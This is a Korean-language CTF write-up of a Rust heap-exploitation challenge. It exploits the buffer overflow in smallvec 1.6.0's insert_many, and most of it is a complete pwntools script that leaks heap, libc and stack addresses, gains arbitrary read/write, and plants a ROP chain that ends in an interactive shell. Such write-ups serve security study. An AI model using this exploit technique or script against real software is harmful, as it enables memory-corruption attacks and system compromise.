[CTF] SanDiego CTF 2024 - Def1nit3lysAfetoDol1st5iNc31hAveF0rb1dUnsafec0de : 1-day Rust pwn

2024. 5. 17. 04:08CTF write up

Solve the 0 solve > _ <

 

RUST로 작성된 todo list 바이너리를 익스플로잇하는 문제다. 문제 설명에서 #![forbid(unsafe_code)]로 unsafe 코드 사용을 막았다고 겁준다.

 

thread 'main' panicked at 'assertion failed: index < len',
/usr/local/cargo/registry/src/github.com-1ecc6299db9ec823/
smallvec-1.6.0/src/lib.rs:983:13

 

아무거나 입력하다보면 패닉이 뜰때가 많은데, 이때 나오는 에러 메시지를 보면 smallvec 이라는 라이브러리를 사용한다는 것을 알 수 있다. smallvec-1.6.0 버전이라는 것도 알 수 있는데, 구버전이다.

 

Buffer overflow in `insert_many()` · Issue #252 · servo/rust-smallvec · GitHub

 

Buffer overflow in `insert_many()` · Issue #252 · servo/rust-smallvec

Hello fellow Rustacean, we (Rust group @sslab-gatech) found a memory-safety/soundness issue in this crate while scanning Rust code on crates.io for potential vulnerabilities. Issue Description rust...

github.com

 

찾아보면 해당 버전의 insert_many() 함수에서 Heap Overflow가 발생한다는 것을 알 수 있다. 바이너리의 todo 체크를 하는 기능에서 insert_many 함수를 사용하고 있어서, 손 퍼징으로 "0,1,2,3" 같은 입력을 넣으면 insert_many 함수에 도달할 수 있다는 알아냈다.

 

 

smallvec::SmallVec$LT$A$GT$::insert_many::he40a453b43eab283

insert_many 함수 내에 memmove 부분에 bp를 걸어서 디버깅해보면 Vector 청크가 늘어나지 않은 상태로 요소를 넣고 있다는 것을 알 수 있는데, 특정 힙 레이아웃에서 todo list 구조체의 size를 덮을 수 있다. 이후에는 print 기능으로 메모리 주소를 leak하고 todo list 구조체의 콘텐츠 메모리 주소를 덮어서 임의의 메모리 쓰기 / 읽기를 할 수 있다. 우분투 23.10 버전이라 흔히 쓰는 FSOP 기법은 안되니 environ을 유출해서 ROP를 하면 풀 수 있다.

 

 

from pwn import *

#p = process('./chall')
p = remote("172.20.36.128", 61408)

def add_to_do(name, content_length, content):
    name = name if type(name) == bytes else name.encode()
    content = content if type(content) == bytes else content.encode()

    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Input name:', name)
    p.sendlineafter(b'Input content size:', str(content_length).encode())

    if content_length != 0:
        p.sendlineafter(b'Input content:', content)
    else:
        p.sendlineafter(b'Input content:', b'4')

def mark_as_done(indexes, insert_index):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'Input index:', ','.join(map(str, indexes)).encode())
    p.sendlineafter(b'Input insert index:', str(insert_index).encode())

dummy_count = 7

for i in range(dummy_count):
    add_to_do(f'Dummy{i}', 0, '')

mark_as_done([0], 0)

add_to_do(f'______', 4097, 'A') 

mark_as_done(range(dummy_count - 1), 0)

nn = 0x400
add_to_do(f'targetX', nn, 'contentX')

p.sendlineafter(b'>', b'4')

p.recvuntil(b'targetX\n')
p.recvn(8)
heap_base = u64(p.recvn(8)) - 0x3f10
print(f'heap_base = {hex(heap_base)}'); raw_input()

time.sleep(0.5)
p.sendlineafter(b'>', b'4')

p.recvuntil(b'content: ')

data = p.recvn(nn)

for i in range(0,7):
    print(i)
    data = data[:0x120] + p64(heap_base+0xc00+0x400*i) + data[0x120+0x8:]

    time.sleep(0.1)
    p.sendline(b'3')
    p.sendlineafter(b':', b'0')
    p.sendlineafter(b':', data)

    p.sendlineafter(b'>', b'4')

    #p.recvuntil(b'\x7f')
    libc_base = u64(p.recvuntil(b'\x7f', timeout=3)[-6:].ljust(8,b'\x00')) 
    if libc_base != 0:
        break
    p.clean()
libc_base = libc_base - 0x1fed30
print(f'libc_base = {hex(libc_base)}'); raw_input()


data = data[:0x120] + p64(libc_base+0x206258) + data[0x120+0x8:]

p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)

p.sendlineafter(b'>', b'4')

p.recvuntil(b'[01]: name: targetX')

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3b0
print(f'stack = {hex(stack)}'); raw_input()
#0x00007fff2e32edf8

data = data[:0x120] + p64(stack) + data[0x120+0x8:]
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)

pay = b''

pay += p64(libc_base+0x0000000000028ac2)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x0000000000028795)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x552b0)

pay += p64(0xdeadbeef)

p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'1')
p.sendlineafter(b':', pay)


p.interactive()